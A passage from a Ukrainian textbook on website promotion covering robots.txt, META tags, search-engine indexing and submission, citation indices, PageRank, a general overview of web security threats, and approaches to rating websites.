Показавши ресурс в Інтернет, перейдемо до наступного кроку. Усі

пошукові роботи при заході на сайт у першу чергу шукають файл

robots.txt. Тому для початку в корені ресурсу необхідно створити файл

robots.txt і дати на нього права доступу на читання для всіх. Потім

потрібно наповнити файл змістом, зрозумілим для пошукових роботів.

Зміст файлу повинна бути наступного характеру:

User-agent:*

Disallow:/cgi-bin/

Disallow:/admin/

Disallow:/ images/

Disallow:/styles/

Disallow:/subs/

Призначення команд і змінних у файлі несуть пошуковому роботу

наступну інформацію:

User-agent: * - доступ та індексування на даному ресурсі дозволяється всім

пошуковим роботам;

Disallow - забороняється відвідувати й індексувати пошуковим роботам

папки. Це потрібно для обмеження доступу до якоїсь частини ресурсу. У

50

даній конфігурації обмежується доступ до папок ресурсу: cgi-bin, admin,

files, images, styles і subs.

Крок 3. Прописування META- тегів

На цьому етапі необхідно визначити ключові слова - «META-теги» - для

стартової й усіх інших сторінок сайту. Це важливо тому що пошуковий

робот, заходячи на ресурс для індексування, не визначає, якій частині

користувачів даний ресурс буде цікавий. Він перевіряє, які слова часто

зустрічаються, з'ясовує ключові слова ресурсу та вносить їх до свого

реєстру. Найчастіше це не відповідає спрямованості ресурсу. Адже щоб у

подальшому ресурс був відвідуваним і правильно відображався на

пошукових сайтах, необхідна його коректна індексація. А хто, як не

власник, знає, яку інформацію несе його ресурс і для кого вона

призначена?

Примітка: Максимальна кількість ключових слів, яке можна розміщувати

на одній сторінці, не повинно перевищувати двадцяти.

Визначивши всі ключові слова, їх необхідно правильно прописати на

кожній сторінці. Розглянемо які бувають META-теги і як їх правильно

прописувати.

META-теги - це конструкції, які розміщуються в заголовку сторінки й

виглядають приблизно так:

<meta name= »атрибут» content= »набір слів" >

<meta http-eguiv=»атрибут» content= »дія" >

Поле name визначає, за що саме цей тег відповідає. Довжина кожного поля

content за стандартом обмежена кілобайтом (1024 знаків, включаючи

пропуски й розділові знаки), однак у кожної пошукової системи зазвичай

свої погляди на це. Треба пам'ятати, що META-теги включені в код

сторінки, так що збільшення їхньої довжини веде до зростання об'єму

сторінки, а отже, до збільшення часу завантаження. Поле http-equiv

51

означає, що даний META-тег призначений для управління браузером на

стороні клієнта.

Як виглядають META-теги для поточної сторінки, можна побачити,

клацнувши правою кнопкою миші на сторінці й вибравши «Перегляд у

вигляді HTML» (в Internet Explorer) або ж «Перегляд вихідного коду

сторінки» (в Mozilla Firefox).

Розглянемо основні META-теги й опишемо, за що вони відповідають.

<meta name= »keywords» content= »ключові слова" >

Найчастіше саме те, що зазначено тут, буде відображатися пошуковими

системами при видачі результатів пошукових запитів (сніпет). Тому опис

слід робити точним, проте не варто писати його прописними літерами -

розумні пошукові машини вважають це спамом і такі сторінки можуть

давати негатив у результатах пошуку. Незважаючи на те, що на даний

момент це один із дійсно корисних тегів, цілком можна обійтися й без

нього - правильного хорошого заголовка сторінки цілком достатньо.

На перший погляд, це найефективніший і важливий тег із набору МЕТА-

тегів. Саме з тим словами, які тут будуть прописані, і повинна перебувати

сторінка в результатах видачі пошукових систем.

<meta name= »revisit» content= »7 days»>

<meta name= »revisit-after» content= »7 days»>

Ці теги, виходячи з їх опису, повинні давати команду пошуковій системі

відвідувати дану сторінку сайту так часто, як це прописано (у даному

випадку кожні 7 днів). Насправді кожен пошуковий робот заходить на сайт

із частотою, яку сам уважатиме за потрібну. Частота залежить від

показника цитованості документа: чим цей показник вищий, тим частіше

буде приходити пошуковий робот. Наприклад, головну сторінку сайту

Googlebot (пошуковий робот Google) відвідує кілька разів на день.

<meta name= »robots» content= »index,follow»>

52

Ще один тег, що відповідає за управління пошуковими роботами. Ось які

можуть бути значення в поля вмісту: index - індексувати цю сторінку,

follow - індексувати сторінки, на які є посилання із цієї сторінки, all -

еквівалентно двом попереднім через кому, noindex - не індексувати

сторінку, але йти по посиланнях, nofollow - індексувати , але не йти за

посиланнями, none - еквівалентно двом попереднім через кому. Чи

потрібно використовувати цей тег? Можна створити файл robots.txt, в

якому все це прописати, не перевантажуючи непотрібними даними код

сторінки.

<meta http-eguiv= »refresh» content= »5;url=index.html»>

Ця конструкція через п'ять секунд після прочитання браузером сторінки,

на яку ви потрапили, перевантажити вікно браузера й видасть сторінку

index.html з поточного каталогу сервера. Найчастіше даний тег

використовується на сторінках, які вставляються замість титульних при

переїзді сайту на іншу адресу - таким чином, здійснюється автоматичне

пересилання. Проте того ж можна досягти за допомогою команди самому

серверу, причому зробити це миттєво, так що користувач і не помітить, що

завантажена сторінка знаходиться зовсім за іншою адресою.

<meta http-eguiv= »pragma» content= »no-cache»>

Тег контролює занесення сторінок у кеш-пам'ять комп'ютера. Сторінки з

ним не будуть кешувати браузерами. Проте сучасні версії браузерів самі

вміють або повинні вміти розпізнавати, оновилася сторінка чи ні, і якщо

треба, оновлювати її без усяких на те додаткових хитрувань із боку автора

сайту.

<meta http-eguiv= »content-tupe» content= »text/html; charset=UTF-8»>

Конструкція приписує, у якому кодуванні видавати користувачу запитану

сторінку. Проте визначати правильне кодування повинен або сервер, або

53

браузер. Втім, перші іноді бувають не налаштовані на це системними

адміністраторами, а другі - погано в цьому розбираються користувачами.

Можна зробити висновок, що використання всіх тегів не має ніякого сенсу,

а навпаки погіршує роботу сайту. Важливо прописати лише необхідні

МЕТА-теги, а саме:

<meta name= »description» content= »опис сторінки" >

<meta name= »keuwords» content= »ключові слова" >

Їх буде достатньо для опису ключових слів і призначення сайту.

Практичні поради

Теги та мета-теги і їх урахування при формуванні рейтингу.

Загальноприйнятою думкою є те, що мета-теги треба прописувати

обов'язково та дуже уважно ставитися до цієї роботи. Це - один із факторів

успішної оптимізації.

Спробуємо розібратися в тому, наскільки важливі мета-теги і як правильно

з ними працювати.

Довжина мета тегів.

Оптимальна довжина для мета-тегів наступна:

Title - 50-80 знаків (зазвичай - 75).

Keywords - до 250 (250 - максимум, орієнтуйтеся на ударні перші 150

знаків).

Description - близько 150-200.

Робити більшу кількість символів просто не має сенсу - їх не буде

прочитано й сприйнято роботами, у всякому разі, тими, які ще звертають

увагу на мета-теги. Але про це - пізніше.

Що позначають мета теги, та як іх писати.

Title - саме текст із цього тега буде відображатися у видачі пошукової

системи, тому йому треба приділити максимум уваги. Якщо ви не

використовуєте keywords і description - ваша справа. Але якщо ви не

54

використовуєте тег Title – можуть виникнути проблеми, зокрема, з

пошуковими системами.

Слід зазначити, що не потрібно ставити в Title рекламні. У відведену

кількість символів (50-80) потрібно вкласти максимум інформації про

сторінку сайту. Використовувати при цьому ключові слова. Однак не

повторюйте одне й те ж ключове слово більше 3 разів - вас неправильно

зрозуміють і ще й забанять.

Title повинен чітко, коротко і ясно висловлювати суть сторінки.

Варто зробити акцент на тому, що Title для кожної сторінки має бути по

можливості унікальний. Природно, повторів уникнути не вдасться, але він

повинен містити в собі хоч одне слово, що характеризує саме цю окремо

взяту сторінку сайту, а не весь сайт у цілому.

Keywords - ключові слова. Про довжину було сказано вище. Повинен

складатися із ключових слів і фраз, бажано без повторень (не більше 3

разів). Наприклад, писати такий ряд ключових слів: наукові статті, наукові

доповіді, наукові роботи, наукові публікації та інше. У такому разі, ми

повторюємо багато разів прикметник "науковий" - втрачаємо місце, яке

могли б використати для інших слів, наприклад, назв унікальних робіт,

конкретних наукових напрямків.

Як і з тегом Title - бажано простежити за тим, щоб ключові слова

відрізнялися для кожної конкретної сторінки.

Варто згадати в ключових словах якесь рідкісне слово, назву рідкісного

матеріалу, який є тільки на вашому сайті. Іншими словами, не нехтуйте

низькочастотними запитами. Пишеться це все так:

<META NAME = "keywords" CONTENT = "рейтинг веб-сайту, структура,

теги, мета-теги, ключові слова, файли на сайті, включення до рейтингу,

технології, сканери, скрипти, Webometrics, ARWU ... .. "> і далі таким же

чином..

55

Description - опис сторінки. Можна сприймала Description, як трохи більш

розгорнутий Title. Тобто, знову таки, мінімум реклами, максимум

інформативності, відповідна щільність ключових слів, унікальність для

кожної сторінки.

Наскільки мета-теги важливі

Title - безумовно важливий. Як було сказано вище - це назва сторінки й

саме вона виводиться в тексті пошукової видачі над URL. Що стосується

desсription і keywords, то тут багато залежить, від того, на яку систему ви

орієнтуєтеся.

Yahoo враховує й keywords і description, причому більше уваги приділяє

останньому. Апорт теж ураховує значення 2 мета тегів.

Google проголосив, що для нього це неважливо. Однак, як показує

практика, у деяких випадках правильно написані keywords і deskription

можуть допомогти сайту зайняти правильну нішу. Зокрема, за деякими

даними, алгоритм ранжирування сайтів Google порівнює вміст мета-тегів

та текстів на сторінці, і від співпадіння ключових слів залежить певна

частина рейтингу.

Для MSN має значення лише безпосередній зміст сторінки. Рамблер

початково відмовився від обліку мета тегів у своєму ранжуванні. Щодо

Яндекс – точної інформації немає. Ось ще відомості про три пошукові

системи:

Excite - не враховує

Infoseek - ураховує

Alta Vista - ураховує

Треба зробити висновок про те, що мета-теги треба прописувати й

ставитися до цього з увагою. Однак, останнє, але, мабуть, найважливіше —

ключові слова, які вказані в Keywords, title, description - повинні бути

ключовими так само й на самій сторінці.

56

Крок 4. Посилання ззовні

Самий рутинний крок - це додавання інформації про сайт на форуми,

дошки оголошення. Але якщо його не виконати, то розкручування сайту не

буде настільки ефективною. Щоб прояснити ситуацію, перерахуємо

фактори, які впливають на ефективність індексування сайту:

- Кількість ресурсів, що мають посилання на сайт;

- Наявність унікального й релевантного змісту;

- Можливість успішно просканувати сторінки.

Для підняття сайту вгору зі статистики пошукових ресурсів та його появи

на перших місцях, перш за все, потрібно, щоб якомога більше сайтів

посилалися на нього. Це можна виконати, тільки розміщуючи інформацію

на форумах і дошках оголошень. Так як відвідуваність їх дуже велика,

індексування цих сайтів проводиться постійно. А додати дані на них

можна безкоштовно (відразу ж або після реєстрації).

Крок 5. Перш за все Google

Найскладніший і ефективний крок по розкручуванню сайту - це його

реєстрація та розміщення інформації в пошуковій системі Google.

У результати пошуку Google сайти включаються безкоштовно. Щоб

перевірити, чи включений сайт в індекс, виконайте в Google пошук URL-

адреси свого сайту. При цьому пошуковик сканує мільярди сторінок, але

деякі все-таки може пропустити. Якщо пошукові машини пропускають

сайт, це може бути пов'язаним з однією з наступних причин:

- Ресурс недостатньо добре пов'язаний численними посиланнями з іншими

сайтами в Інтернеті;

- Сайт запущений після останнього сканування роботами Google;

- Структура ресурсу ускладнює ефективне сканування його змісту;

- Коли пошукові роботи намагалися просканувати сайт, він виявився

тимчасово недоступний, або пошукові роботи зіткнулися з помилкою. За

57

допомогою інструментів для веб-майстрів Webmaster Tools від Google

(www.google.com.ua/webmasters/) можна дізнатися, чи не виникли помилки

при спробі сканування сайту.

Для полегшення індексації пошуковим роботом сайту потрібно

передати в Google його детальну карту. Це робиться за допомогою файлу

sitemap.xml, що міститься в корінь сайту. Sitemap.xml - це простий спосіб

передати URL в індекс Google та отримати докладні звіти про покази

ваших сторінок в цій пошуковій системі. За допомогою даної функції

користувачі можуть автоматично інформувати Google про всі своїх

сторінках і що вносяться зміни.

Файли Sitemap особливо корисні в наступних випадках:

- На сайті є динамічно поновлюваний контент;

- Ресурс містить сторінки, які пошуковому роботу складно виявити в

процесі сканування, наприклад, сторінки, що містять велику кількість

Flash-компонентів;

- Сайт новий і на нього мало посилань;

- Ресурс має великий архів тематичних сторінок, не пов'язаних або слабко

пов'язаних один з одним.

Примітка: Передача sitemap.xml не гарантує, що всі сторінки сайту будуть

просканувати або включені в результати пошуку.

Виконавши всі перераховані кроки, залишається чекати результату.

Проте він прийде не відразу ж. Мінімальний період часу, через який сайт

почне нормально індексуватися пошукачами й відображатися серед

перших 40 позицій пошукових результатів, становить близько місяця. За

умови, що всі ці кроки будуть постійно підтримуватися й контролюватися,

сайт протягом півроку може потрапити до першої десятки.

Використання пошукових систем, рейтингів, каталогів.

58

Пошукові системи й каталоги допомагають користувачу знайти потрібну

інформацію в мережі. При цьому пошукові системи працюють в

автоматичному режимі, а каталоги керуються та складаються людьми.

Користувач шукає в мережі засіб по своїй потреби. І якщо він не

знайде вас, він знайде когось іншого. Із цього слідує 2 висновки:

• регіструватися в пошукових системах і в каталогах потрібно обов'язково

• при реєструванні в пошукових системах і каталогах потрібно залишати

тільки правдиву інформацію, яка відповідає змісту сайту.

6.2. Індексація Web-сайту

Щоб сайт був відомий пошуковим серверам треба зробити його

індексацію. Процедури індексації різні в залежності від відповідного

пошукового сервера. Нижче наведені процедури індексації для декількох

пошукових серверів.

6.2.1 Індексація Google

Для того, щоб проіндексувати сайт в Google потрібно перейти за

посиланням http://www.google.com/addurl/?continue=/addurl та додати URL

головної сторінки Вашого сайту.

Щоб перевірити, чи не виникло проблем при скануванні вашого сайту, чи

проіндексувалися всі сторінки, як "бачить" робот Google Ваш сайт

необхідно перейти за посиланням

https://www.google.com/webmasters/tools/dashboard та діяти згідно

подальших інструкцій.

За цим же посиланням можна вказати роботу на мапу сайту, котра значно

спрощує його функціонування. Щоправда, доведеться "підтвердити"

Google, що Ви є власником сайту за допомогою спеціальної процедури.

Якщо Ви виявили помилки, чи некоректності, то варто перейти за

посиланням

59

http://www.google.com/support/webmasters/bin/topic.py?topic=8522, де

знаходиться інформація про найтиповіші помилки web-дизайнерів, вимоги

Google до сайтів.

6.2.2 Індексація Google Scholar

Перед тим як індексувати публікації в Google Scholar варто переконатися,

що всі вони мають англомовну анотацію (як мінімум), що можливий

пошук по документах (для PDF-документів це можна перевірити

стандартним пошуком Acrobat Reader). Якщо відповідь на обидва питання

позитивна - можна приступити до індексації.

До файлу robots.txt, який мусить бути у Вашого сайту, слід додати наступні

рядки:

User-agent: Googlebot

Allow: /

Далі слід заповнити всі необхідні форми:

http://www.google.com/support/scholar/bin/request.py

Свою статтю можна зареєструвати у google scholar за адресою:

http://www.google.com/support/scholar/bin/request.py?hl=uk

Варто відзначити, що Google надає автору можливість самостійно

встановлювати права доступу до всіх частин публікацій за виключенням

анотації та змісту.

Багато корисної інформації, відповіді на запитання, що часто задають

люди, бажаючі опублікувати свої роботи в Google Scholar, можна знайти

тут: http://scholar.google.com.ua/intl/en/scholar/publishers.html

6.2.3 Індексація Yahoo

Для індексації в Yahoo необхідно перейти за посиланням

http://siteexplorer.search.yahoo.com/submit, заповнити необхідні поля та

діяти за подальшими інструкціями.

Щоправда, щоб про індексувати сайт необхідно вказати Yahoo на мапу

60

Вашого сайту та щоб скористатися розширеними можливостями

доведеться зареєструватися: https://edit.yahoo.com/registration

Інформацію про всі можливі види індексації, у тому числі платну

індексацію, можна знайти тут: http://search.yahoo.com/info/submit.html

6.2.4 Індексація Bing (Live Search)

Індексація Bing (Live Search)

Для індексації в Bing (в минулому - Live Search) необхідно перейти за

посиланням http://www.bing.com/webmaster/SubmitSitePage.aspx та

заповнити необхідні поля.

Щоб перевірити, чи не виникло проблем при скануванні вашого сайту, чи

проіндексувалися всі сторінки необхідно перейти за посиланням

http://www.bing.com/webmaster/ та скористатися інструментами для Web-

майстрів. Щоправда, для цього доведеться пройти процедуру реєстрації,

але в даному випадку "шкірка вичинки варта".

Після реєстрації Ви зможете додати адресу мапи сайту та перевірити

коректність файлу Robots.txt.

6.2.5 Індексація Exalead

Щоб додати сайт в індекс пошуковика Exalead необхідно перейти за

посиланням http://www.exalead.com/search/submitYourSitePage та заповнити

відповідні поля.

6.3 Характеристики, що оцінюють пошукові системи

6.3.1 Індексація Щоб дізнатися кількість проіндексованих сторінок

необхідно ввести:

Yandex: http://yandex.ru "site: адреса_сайта"

Google: http://google.com "site: адреса_сайта"

Yahoo: http://siteexplorer.search.yahoo.com "адреса_сайта"

61

BING: http://bing.com "site: адреса_сайта"

Перевірити результати індексації можна також за допомогою програм

аудиту, одним з достатньо надійних програм є:

site-audit http://www.site-auditor.ru/download.html

Можна використати і спеціальну програму site-audit, посилання на яку є у

дисципліні Web-проектування в MOODLE за адресою http://moodle.kpi.ua

6.3.2 Посилання на сайт У будь-якій пошуковій системі ви можете

дізнатися про кількість посилань на ваш сайт. Для цього існує пошукова

директива "link:".

Ви можете використовувати оператор "link:", щоб подивитися приклади

сайтів, які посилаються на ваш ресурс. Наприклад, [link: www.google.com]

поверне вам сторінки, які поставили посилання на головну сторінку

Google. Google сам особисто, і однозначно заявляє про те, що не слід

занадто серйозно сприймати пошуковий оператор "link:". До того ж

пошукова директива "link:" не показує точні цифри. Компанія Google

стверджує, що та кількість посилань які вони показують у результатах

тільки зразок, і цей список не можна вважати повним, тим більше

покладатися на нього при професійній діяльності.

Цифри це тільки підтверджують. Спочатку перевірте кількість посилань

пошуковим оператором "link:" а потім порівняйте з кількістю яке

відображається в Google Webmaster Tools. Результат вас уразить. Цифри

зовсім не збігаються.

6.3.3 Індекс цитування Індекс цитування (ІЦ) - показник пошукової

системи, обчислюваний на основі кількості посилань на даний ресурс з

інших ресурсів мережі Інтернет. У простій різновиди індексу цитування

враховується тільки кількість посилань на ресурс. Тематичний індекс

цитування (ТІЦ) ураховує також тематику сайтів, які посилаються на

ресурс, а зважений індекс цитування - популярність сайтів, що

62

посилаються (також у більшості випадків обчислюється на основі індексу

цитування).

Спочатку, до того як з'явилися оптимізатори сайтів, індекс цитування

реально відбивав популярність відповідного ресурсу в інтернеті.

Першою великою пошуковою системою, яка почала активно

використовувати індекс цитування, стала Google (алгоритм PageRank). У

російськомовному сегменті Інтернету найбільшою популярністю

користується ІЦ «Яндекса»

6.3.4 Тематичний індекс цитування Тематичний індекс цитування (тІЦ) -

технологія пошукової машини «Яндекс», що полягає у визначенні

авторитетності інтернет-ресурсів з урахуванням якісної характеристики -

посилань на них з інших сайтів. тІЦ розраховується за спеціально

розробленим алгоритмом, у якому особливе значення надається

тематичній близькості ресурсу й сайтів, які посилаються на нього. Даний

показник, у першу чергу, використовується для визначення порядку

розташування ресурсів у рубриках каталога «Яндекса». Усі сайти, які

посилаються обов'язково мають бути проіндексовані Яндексом. При цьому

на відповідних сторінках каталогу вказуються лише заокруглені значення,

які допомагають приблизно орієнтуватися в авторитетності ресурсів

розділу.

тІЦ визначається сумарною вагою сайтів, що посилаються. Не можуть

впливати на тІЦ сайти, де будь-яка людина може поставити своє

посилання без відома адміністратора ресурсу. (ТІЦ) має систему апдейтів

(перерахунків показників) і, звичайно, його оновлення відбувається 2 рази

на місяць.

Дізнатися тІЦ сайту можна за посиланням

http://search.yaca.yandex.ru/yca/cy/ch/адрес_сайта

63

6.3.5 PageRank PageRank (Пейдж-ранк) - один з алгоритмів посилального

ранжирування. Алгоритм застосовується до колекції документів,

пов'язаних гіперпосиланнями (таких, як веб-сторінки з World Wide Web), і

призначає кожному з них якесь чисельне значення, що вимірює його

«важливість», або «авторитетність» серед інших документів. Взагалі,

алгоритм може застосовуватися не тільки до веб-сторінок, але й до будь-

якого набору об'єктів, пов'язаних між собою взаємними посиланнями,

тобто до будь-якого графу.

Надбудова для браузера Google Toolbar показує для кожної веб-сторінки

ціле число від 0 до 10, яке вона називає PageRank, або важливістю цієї

сторінки з точки зору Google. Однак механізм його розрахунку й що в

точності означає це значення не розкривається. За деякими даними, ці

значення оновлюються лише кілька разів на рік (у той час, як внутрішні

значення PageRank перераховуються безперервно) і показують значення

PageRank сторінок на логарифмічній шкалі.

Алгоритм PageRank

Оригінальний алгоритм PageRank був описаний Лоуренсом Пейджем та

Сергієм Бріном у декількох публікаціях. Він задається PR (A) = (1-d) + d

(PR (T1) / C (T1) + ... + PR (Tn) / C (Tn)) PR (A) = (1-D) + D (PR (T1) / C

(T1) + ... + PR (Tn) / C (Tn)), де:

PR (A) є PageRank сторінки,

PR (Ti) є PageRank сторінок Ti, які посилаються на сторінку,

C (Ti) є кількість вихідних посилань на сторінці та Ti

D є коефіцієнт загасання, який може бути встановлений між 0 і 1.

Із цього, у першу чергу, ми бачимо, що PageRank не означає ранг веб-сайту

в цілому, а визначається для кожної сторінки окремо.

Крім того, PageRank сторінки рекурсивно визначається PageRank тих

сторінок, які посилаються на сторінку A.

64

PageRank сторінок Ti, які посилаються на сторінку А чи не впливає на

PageRank сторінки рівномірно. В алгоритмі PageRank, PageRank сторінки в

T завжди зважується за кількістю вихідних C посилання (T) на стор. Т. Це

означає, що чим більше вихідних посилань сторінки T, тим менше буде

вигода сторінки А від посилання зі сторінки Т.

Зважений PageRank сторінок Ti потім підсумовуються. Результатом цього

є те, що додаткові вхідні посилання на сторінку завжди збільшує PageRank

сторінки А.

Нарешті, сума зважених PageRank всіх сторінок Ti множиться на

коефіцієнт загасання D, який може бути встановлений між 0 і 1.

Значення PR можна дізнатися із сайту http://www.prchecker.info/

6.4 Питання безпеки сайту Число користувачів InterNet із кожним днем

зростає. Але, на жаль, не всі вони виходять у Мережу з добрими намірами.

Що й хто загрожує безпеці Вашого сайту й, кажучи ширше, треба

з’ясовувати.

Хакери

Хакери – українською це зломщики. Хакери шукають і знаходять

вразливості в комп'ютерних системах, мережах з метою їх злому для

отримання цінної інформації, розкрадання грошей, використання у своїх

інтересах (наприклад, для розсилання спаму), використання

обчислювальних можливостей комп’ютера, заміна інформації з різними

цілями, а нерідко просто з хуліганських спонукань.

Фішери

Фішери (від англійського fisher - рибалка) - порівняно недавно з'явилася

різновид інтернет-шахраїв, які обманним шляхом виманюють у довірливих

користувачів Мережі конфіденційну інформацію: різні паролі, пін-коди й

т.п. Найпоширеніший прийом фішерів - розсилка підроблених листів від

65

імені нібито хостинг-провайдерів, працівників банків, платіжних систем

тощо із проханням під якимось пристойним приводом (відновлення даних

після збою, перереєстрація користувачів після хакерської атаки й т.п.)

вислати їм паролі та коди або пройти перереєстрацію, при якій першим

справою запитується справжній пароль (при цьому посилання в листі веде,

природно , не на сайт компанії, від імені якої фішери розсилають листи, а

на сайт фішерів, що має домен та дизайн, дуже схожі на домен та дизайн

цього сайту).

Спам

Від спаму мучиться, напевно, кожен, хто хоч якось пов'язаний з InterNet..

Варто лише раз засвітити де-небудь свою поштову скриньку, і через пару

тижнів непрошені рекламні листи доводиться вигрібати десятками ... З

іншим видом спаму постійно стикаються власники сайтів, які мають хоч

якісь інтерактивні засоби: форум, блог, гостьову книгу. Рекламні

повідомлення з них, причому, як правило, зовсім не пов'язані з

обговорюваною тематикою, а часто взагалі мають протизаконний

характер, також доводиться вичищати у величезних кількостях.

Віруси

Комп'ютерні віруси та InterNet стали останнім часом поняття нероздільні.

Понад 90% комп'ютерних вірусів (троянів, бекдор, хробаків ...)

поширюються зараз саме через InterNet та електронну пошту.

6.5 Глоссарій розділу

Пошукова система, використовуючи програми-роботи, автоматично

досліджує Інтернет простір, додаючи нову й обновлюючи існуючу

інформацію. Також додаткова інформація може вводитися самими

користувачами (веб-майстрами). Користувач знаходить інформацію за

допомогою введення запиту, який складається із ключових слів.

66

Результати пошуку формуються згідно їх релевантності. Пошукові системи

не мають розгалуженої системи каталогів.

Каталог. На відміну від пошукової системи каталог дає можливість

самостійно залишати інформацію про свій ресурс. Після заповнення

необхідних форм зареєстрований сайт відвідується модератором рубрики,

обраної під час реєстрації.

Рейтингова система – аналог каталога. Кожний учасник рейтингової

системи розміщує на своєму ресурсі кнопку-лічильник. Сайти в

рейтингових системах вишиковуються по темах згідно їх відвідуваності:

чим вище відвідуваність сайту – тим вище його позиція в рейтингу.

Релевантність – відповідність знайденої веб-сторінки введеному запиту.

Кожна пошукова система має свій власний алгоритм для визначення

релевантності .

Індексування – обробка інформації про ресурс, зібраної роботом, з

подальшим занесенням її в базу даних пошукової системи.

Запит – набір слів і спеціальних символів, заданих користувачем

пошуковій системі для знаходження потрібної інформації .

Ключові слова – слова й терміни, які визначають зміст сайту.

Використовуються при складанні запиту користувачем.

Дорвей – спеціально створена сторінка оптимізована під одне ключове

слово. Використовується для досягнення високих результатів пошуку по

даному ключовому слову. Правильне використання дорвею не буде

рахуватись спамом (багатократним повторенням ключових слів).

7. ПОНЯТТЯ РЕЙТИНГУ ТА РЕЙТИНГ Web-САЙТІВ

7.1 Поняття рейтинг сайтів

Рейтинг веб-сайтів — це впорядкований за певною характеристикою, чи

характеристиками перелік Інтернет-сторінок. Рейтинги можуть складатися

67

з різною метою, у залежності від поставленої мети обираються ті

характеристики веб-сайтів, за якими здійснюється ранжирування.

Одним з найпоширеніших завдань, які ставляться перед рейтингами є

встановлення того, містить сайт потрібне наповнення (текстове, візуальне,

ін.), чи ні. При цьому можуть ураховуватися як кількісні, так і якісні

показники. Іншими словами, найчастіше рейтинг відповідає на запитання,

наскільки той, чи інший веб-сайт здатен задовольнити потреби певної

цільової аудиторії.

Проте окрім прямих цілей часто переслідуються ще й опосередковані:

заохотити веб-майстрів до застосування нової технології, або навпаки

відмовитись від використання застарілої, неефективної; заохотити

власників сайтів до активнішого розвитку свого ресурсу, наповнення його

актуальнішою інформацією.

Механізм збору інформації для укладання рейтингу може бути

автоматизованим, повністю автоматичним, або «ручним». Сама процедура

укладання рейтингу також може здійснюватися експертами, а може

здійснюватися машиною на основі заданої формули.

Не можна сказати, що якийсь з описаних вище способів поганий, а якийсь

хороший — усе залежить від поставлених перед рейтингом задач.

Складання різноманітних рейтингів – надзвичайно популярна й корисна

справа. Конкуренція зростає, інформації стає все більше, а стислий список

“найкращих” дозволяє заощадити час, а відповідно й гроші.

Відомі підходи Можна визначити декілька підходів:

1. Рейтинг сайтів, який установлюється по результатах оцінки сайтів

експертами;

2. Підхід який пов’язано з SEO (search engine optimization) - це

оптимізація HTML-коду, тексту, структури й зовнішніх чинників сайту з

68

метою підняття його рейтингу по результатах моніторингу пошуковими

системами.

3. Рейтинг організацій по адміністративним даним, від експертів та з

InterNet;

4. Рейтинг організацій по даним, що отримуються з Web-сайтів.

7.2. Рейтинг Web-сайтів по результатах оцінки сайтів експертами

Оцінка загальної якості Web-сайтів Перш за все треба визначити поняття

якості. Звичайно, якість визначається об'єктивно чи суб’єктивно набором

параметрів. Нажаль для Web-сторінок більшість параметрів чи

характеристик складно чи неможливо визначити числовими даними.

Метод, який використовується для оцінок та порівняння різних реалізацій

Web-сайтів, є метод експертних оцінок.

Оцінка експертами. Розглянемо параметри, які використовувалися при

оцінці сайтів, висунутих на Національну (російську) Інтернет премію.

Вони були сформульовані у світовому InterNet, як правило, створення

хороших нових сайтів. При цьому аналізуються:

1. Зміст;

2. Структура й навігаційні функції;

3. Дизайн та інтерфейс користувача;

4. Функційність;

5. Інтерактивність;

6. Загальне враження.

Таким чином, розглядається I параметрів (у даному випадку-6), M сайтів J

експертами. Кожний експерт має R балів для оцінки I-го параметра.

Існує й інша методика визначення оцінки параметрів:

Bi- оцінки (від 0 до 5 балів) по наступним параметрам:

B1- Дизайн

69

B2- HTML-програмування

B3- Зміст та вміст

B4- Граматика.

За кожну виявлену похибку експерт віднімає з максимального балу (5)

число, рекомендоване в списку похибок.

Наведені критерії є просто ілюстрацією однієї з оцінок, а вибір параметрів

для оцінок часто відображує рівень того, хто (чи тих, хто) організує

відповідне оцінювання. Часто можна знайти повну безглуздість. Так вище

надано параметр “Текст HTML”. Як оцінити Web-сайт по цьому

параметру, якщо його зроблено в CMS. Звичайно, набір параметрів

повинен бути пов'язаний із ціллю проведення рейтингу.

Обчислення рейтингу сайтів при експертних оцінках.

Запрошуються експерти, які є фахівцями в нашому випадку в галузі

створення Web-сайтів (часто це досить важко зробити), їм надаються

обмеження та рекомендації. Далі експерти проводять суб’єктивну оцінку

параметрів сайтів. Для Ι-параметрів виконується оцінка кожним з J –

експертів для М сайтів і при цьому отримуємо Rij (m) значень.

Для отримання рейтингу по кожному параметру Ι знаходиться Rimax

(∀j,m) і визначається Ki(m)={(Rim / Rimmax (∀j)}.

При впорядкуванні Ki (m) за збільшенням чи зменшенням

визначається рейтинг по Ι-му параметру.

7.3. Рейтинг по даним із пошукових систем

Кожен користувач Інтернету, сам того не усвідомлюючи, щодня

зіштовхується з рейтингами веб-сайтів. Відбувається це тоді, коли він

шукає потрібну інформацію за допомогою пошукових систем.

Слід зазначити, що в цьому випадку рейтинг формується динамічно —

щоразу коли користувач уводить слова чи фрази та натискає кнопку

70

«Шукати» - пошуковик переглядає всі проіндексовані сайти та ранжирує

їх.

Звісно, перевірити всю «світову павутину» на наявність потрібної

інформації та вишикувати сайти в чітку послідовність за їх релевантністю

— справа не з легких. Ще складніше коли цю операцію необхідно

повторювати мільйони разів у секунду. Тут без спеціальних алгоритмів та

значних обчислювальних потужностей просто не обійтись.

Пошукові системи середини 90-их, Inktomi, Excite, HotBot, Infoseek,

Magellan, Lycos, Crawler, а також AltaVista ранжирували сайти виключно

за наявністю та кількістю заданих ключових слів. Такий рейтинг був

недосконалим, часто пошуковими не могли знайти навіть адресу свого

власного сайту.

На високі позиції рейтингу включалися проплачені адреси, що зовсім не

відповідали тематиці пошуку.

Деякі ресурси як от, Yahoo сповідували інший принцип: вони не укладали

рейтинги, а «вручну» складали каталоги значних, або, знову ж,

проплачених, Інетрнет-ресурсів.

Отже, необхідний був інший, більш досконалий спосіб пошуку. Такий

метод запропонували Сергій Брін та Ларрі Пейдж, засновники Google.

Їх алгоритм розраховував «важливість» кожного сайту, для цього

пошуковик перевіряв кількість зовнішніх посилань на сайт. За аналогією з

науковою літературою кожне посилання рахувалося за позитивний відгук.

Вага кожного відгуку різна — вона залежить від авторитетності того сайту,

звідки йде цей відгук. Створивши такий механізм укладання рейтингу

сайтів та пошуку, Google підштовхнула й інші компанії до впровадження

новацій. Наприклад, пошуковик Ask Jeeves придбав у компанії Teoma та

взяв на озброєння алгоритм ранжування сайтів за принципом «локальна

популярність».

71

Рейтинг Google, Yandex, Alexa.

Яким чином визначити чиї ж рейтинги є найбільш відомими. Звичайно, за

іншими рейтингами.

За даними електронного аналітичного видання SearchEngineWatch, станом

на серпень 2009 року 66,3% пошукових запитів у США оброблялося

Google, 14,5% — Yahoo. За даними компанії SputnikMedia.net на травень

2008 в Україні ситуація дещо інша: 69,02% запитів обробляється Google,

17,78% — Yandex.

